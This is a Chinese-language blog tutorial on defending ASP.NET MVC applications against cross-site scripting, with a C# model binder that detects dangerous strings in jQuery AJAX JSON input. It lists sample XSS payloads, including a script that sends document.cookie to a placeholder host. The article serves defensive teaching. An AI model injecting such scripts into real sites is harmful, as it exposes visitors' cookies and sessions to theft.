簡介 跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裡面的Script代碼會被執行,從而 ...
簡介
跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裡面的Script代碼會被執行,從而達到惡意攻擊用戶的特殊目的,比如獲取用戶的Cookie,導航到惡意網站,攜帶木馬等。
一些場景
1. 惡意攻擊者可以在個人介紹裡面插入惡意代碼,那麼其他用戶訪問他的個人信息時,就會執行惡意代碼。
2. 惡意攻擊者可以發表一篇文章,取一個吸引眼球的標題,在內容里插入惡意代碼,那麼用戶查看這篇文章時,就會執行惡意代碼。
3. 惡意攻擊者在一些熱門文章或帖子里的回覆或留言中插入惡意代碼,那麼用戶瀏覽到他的回覆或留言時,就會執行惡意代碼。
防止XSS的兩個階段
1. 提交數據時,就對數據進行驗證,如果含有惡意腳本,則不讓數據進庫,ASP.NET MVC預設是會做這個驗證。如下圖,如果試圖插入惡意腳本,就會得到一個HttpRequestValidationException。註:圖2紅色框中的方法後續會提到。
圖1
圖2
如果我們需要允許腳本入庫,可以在對應的Action上加上[ValidateInput(false)]。此時惡意腳本還不能產生威脅,因為還有後面一個階段的防止措施。
圖3
圖4
2. 輸出數據時,對輸出的內容採用HTML編碼,惡意腳本不會被執行。而且,MVC的Razor語法預設就採用HTML編碼。但是如果我們採用Html.Raw()來輸出內容的話,惡意腳本就會產生威脅。
圖5
圖6
一些惡意腳本
1. 簡單的彈窗或者內容顯示。
<script>alert('你被黑了!')</script>
2. 導航到惡意網站。註:這裡只是使用百度網站作為導航演示,並不是說百度網站是惡意網站。
<script>window.location.href='http://www.baidu.com';</script>
3. 獲取cookies。
<script>alert(document.cookie)</script>
<script>window.location.href='http://www.example.com?cookies=document.cookie';</script>
$.ajax數據驗證失效?
我們假設我們的需求是不允許含有惡意腳本的數據進庫的,但是我們使用了jquey的ajax進行交互。
圖7
圖8
圖9
圖10
數據還是進庫,為什麼呢?我們來研究下圖2紅框中的方法。
圖11
圖12
從圖12中,我猜測MVC會對Request中的以上內容進行驗證,可是jquery ajax的數據是存在Request的Content裡面的,因此,預設的驗證對jquery ajax並沒有效果。
$.ajax數據驗證實現
要對$.ajax進行數據驗證,我從ModelBinder下手。具體代碼如下:
1 public class AjaxModelBinder : DefaultModelBinder
2 {
3 protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
4 {
5 var contentType = controllerContext.HttpContext.Request.ContentType;
6
7 if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
8 value is string &&
9 controllerContext.Controller.ValidateRequest &&
10 bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
11 {
12 if (IsDangerousString(value.ToString()))
13 {
14 throw new HttpRequestValidationException("在請求中檢測到有潛在危險的值!");
15 }
16 }
17
18 return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
19 }
20
21 /// <summary>
22 /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
23 /// </summary>
24 private static bool IsDangerousString(string str)
25 {
26 var startingChars = new[] { '<', '&' };
27 var startIndex = 0;
28
29 while (true)
30 {
31 var index = str.IndexOfAny(startingChars, startIndex);
32
33 if (index < 0)
34 {
35 return false;
36 }
37
38 if (index == (str.Length - 1))
39 {
40 return false;
41 }
42
43 var ch = str[index];
44
45 if (ch != '&')
46 {
47 if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?'))))
48 {
49 return true;
50 }
51 }
52
53 else if (str[index + 1] == '#')
54 {
55 return true;
56 }
57
58 startIndex = index + 1;
59 }
60 }
61
62 private static bool IsAtoZ(char c)
63 {
64 return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
65 }
66 }
然後在Global.asax.cs中註冊AjaxModelBinder。
圖13
那麼,輸入數據有惡意腳本時就會被檢測出來。
圖14
關於AjaxModelBinder中的IsDangerousString方法,我是從.Net的源碼拷貝過來的。
圖15
AntiXSS第三方組件
如果使用.Net4.0及以上的版本,那麼就不需要引入AntiXSS,因為.Net 4.0已經把AntiXSS集成進來了。如果是其他版本則需要引入。
源碼下載
為了方便使用,我沒有使用任何資料庫,而是用了一個文件來存儲數據。代碼下載後可以直接運行,無需配置。
下載地址:https://github.com/ErikXu/XSS
文章轉載自:http://www.cnblogs.com/Erik_Xu/p/5403773.html